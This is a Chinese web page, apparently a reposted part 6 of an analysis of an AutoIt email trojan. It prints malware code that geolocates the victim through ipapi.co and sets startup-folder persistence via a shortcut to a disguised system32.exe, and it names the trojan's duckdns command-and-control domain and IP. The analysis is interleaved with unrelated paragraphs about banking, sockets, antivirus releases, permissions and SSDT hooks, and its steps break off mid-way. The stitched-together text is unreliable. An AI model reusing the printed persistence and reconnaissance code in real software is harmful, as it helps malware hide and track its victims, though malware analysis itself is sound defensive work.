鼠标与键盘 一个基于AutoIT制作生成的欺骗性邮件木马样本分析(6)

此前汇丰曾在去年网络最低潮的11月6日，注资500万美元购入了实华开5%的股权，并拥有实华开业务国际结算的第一优先权，如客户选择银行进行结算和汇款，实华开便会将自动生成的订单接入汇丰银行的接口，从而通过汇丰进行结算。

socket是对tcp/ip协议的封装，socket本身并不是协议，而是一个调用接口(api)，通过socket，我们才能使用tcp/ip协议。

序号AutuIt脚本

Local $1xs = InetRead(“ https://ipapi.co/json “) Local $11xs = BinaryToString($1xs) Local $count = _stringbetween($11xs, $strs & “ip” & $strs & “: ” & $strs, $strs & “,”) Local $count2 = _stringbetween($11xs, $strs & “country_name” & $strs & “: ” & $strs, $strs & “,”) Local $1666ss = “x” If IsArray($count) Then ???????????? Local $1666ss = $count[0] EndIf Local $1666 = “x” If IsArray($count2) Then ???????????? Local $1666 = $count2[0] EndIf InetClose($1xs)

6、连接的域名和端口

序号AutuIt脚本

经过解析，torrentfreak.duckdns.org的ip地址是182.186.59.185，这样IP和端口都与上文网络连结看到的情况一致。

7、创建快捷方式启动项

给自拷贝后的%appdata%\windata\system32.exe创建快捷方式，并放入启动目录。

序号AutuIt脚本

If NOT FileExists(@StartupDir & “\RBOUCN.lnk”) Then

FileCreateShortcut(@AppDataDir & “\Windata\system32.exe”, @StartupDir & “\RBOUCN.lnk”, $vvahk & @AppDataDir & “\Windata” & $vvahk, $bbjnnnn, $bbjnnnn, @SystemDir & “\shell32.dll”, $bbjnnnn, 4)

EndIf

8、初始化网络

调用TCPStartup()。

9、开始进入while循环操作。

10、建立网络连接，回报信息

自1.2.10582.0267版本开始，微点杀毒软件正式支持windows8操作系统，已安装windows8系统的用户，请到微点网站下载页面下载微点杀毒软件最新版本安装程序进行安装。

比方说现定义一个角色：经理，这个经理包含了各个部门的经理，权限是一致的，几个部门经理同属于‘经理’这个角况下又想他们之间的权限有区别，这就关系到权限的设定，你只能对每个部门经理(身份为：用户)单独授权了，当然你也可以根据该用户身处的用户组和角色之间的关联关系或者排斥关系来确认用户的最终权限，这是一个并集的关系，如果您对这个概念的详细内容还是不明白，建议大家在网上寻求一下答案。

ssdt 恢复就更没用了：几年前最先发布的版本就给出了ssdt项当前值与原始值，所谓恢复就是用原始值的4字节写回去，当时未提供是考虑一方面ssdt hook这种早已“滥用”的表层技术对is的操作没有影响，另一方面使用它的却往往是正常的杀毒软件而非恶意软件（恶意软件早没这么菜了，太容易被发 现），所以觉得提供给普通用户只会让他们破坏自己的杀软。

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-90405-6.html